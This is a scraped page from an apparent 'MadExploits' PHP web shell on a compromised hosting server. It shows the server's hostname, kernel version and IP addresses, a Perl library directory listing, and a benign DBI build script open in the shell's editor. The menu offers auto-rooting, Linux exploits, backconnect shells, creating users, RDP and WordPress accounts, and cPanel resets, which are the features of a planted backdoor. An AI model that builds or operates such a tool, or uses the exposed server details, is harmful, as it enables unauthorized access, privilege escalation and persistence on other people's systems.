Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.44
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lib64 /
perl5 /
vendor_perl /
[ HOME SHELL ]
Name
Size
Permission
Action
Compress
[ DIR ]
drwxr-xr-x
Crypt
[ DIR ]
drwxr-xr-x
DBD
[ DIR ]
drwxr-xr-x
DBI
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Digest
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
JSON
[ DIR ]
drwxr-xr-x
List
[ DIR ]
drwxr-xr-x
MIME
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Params
[ DIR ]
drwxr-xr-x
Proc
[ DIR ]
drwxr-xr-x
Scalar
[ DIR ]
drwxr-xr-x
Storable
[ DIR ]
drwxr-xr-x
Sub
[ DIR ]
drwxr-xr-x
Sys
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
YAML
[ DIR ]
drwxr-xr-x
auto
[ DIR ]
drwxr-xr-x
common
[ DIR ]
drwxr-xr-x
threads
[ DIR ]
drwxr-xr-x
version
[ DIR ]
drwxr-xr-x
Cwd.pm
21.29
KB
-rw-r--r--
DBI.pm
308.81
KB
-rw-r--r--
DB_File.pm
63.58
KB
-rw-r--r--
Encode.pm
34.56
KB
-rw-r--r--
Socket.pm
36.19
KB
-rw-r--r--
Socket6.pm
9.55
KB
-rw-r--r--
Storable.pm
48.09
KB
-rw-r--r--
dbixs_rev.pl
1.51
KB
-rw-r--r--
encoding.pm
22.41
KB
-rw-r--r--
threads.pm
36.05
KB
-rw-r--r--
version.pm
3.47
KB
-rw-r--r--
version.pod
9.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dbixs_rev.pl
#!/usr/bin/perl -w use strict; my $dbixs_rev_file = "dbixs_rev.h"; my $is_make_dist; my $svnversion; if (is_dbi_svn_dir(".")) { $svnversion = `svnversion -n`; } elsif (is_dbi_svn_dir("..")) { # presumably we're in a subdirectory because the user is doing a 'make dist' $svnversion = `svnversion -n ..`; $is_make_dist = 1; } else { # presumably we're being run by an end-user because their file timestamps # got messed up print "Skipping regeneration of $dbixs_rev_file\n"; utime(time(), time(), $dbixs_rev_file); # update modification time exit 0; } my @warn; die "Neither current directory nor parent directory are an svn working copy\n" unless $svnversion and $svnversion =~ m/^\d+/; push @warn, "Mixed revision working copy ($svnversion:$1)" if $svnversion =~ s/:(\d+)//; push @warn, "Code modified since last checkin" if $svnversion =~ s/[MS]+$//; warn "$dbixs_rev_file warning: $_\n" for @warn; die "$0 failed\n" if $is_make_dist && @warn; write_header($dbixs_rev_file, DBIXS_REVISION => $svnversion, \@warn); sub write_header { my ($file, $macro, $version, $comments_ref) = @_; open my $fh, ">$file" or die "Can't open $file: $!\n"; unshift @$comments_ref, scalar localtime(time); print $fh "/* $_ */\n" for @$comments_ref; print $fh "#define $macro $version\n"; close $fh or die "Error closing $file: $!\n"; print "Wrote $macro $version to $file\n"; } sub is_dbi_svn_dir { my ($dir) = @_; return (-d "$dir/.svn" && -f "$dir/MANIFEST.SKIP"); }
Close
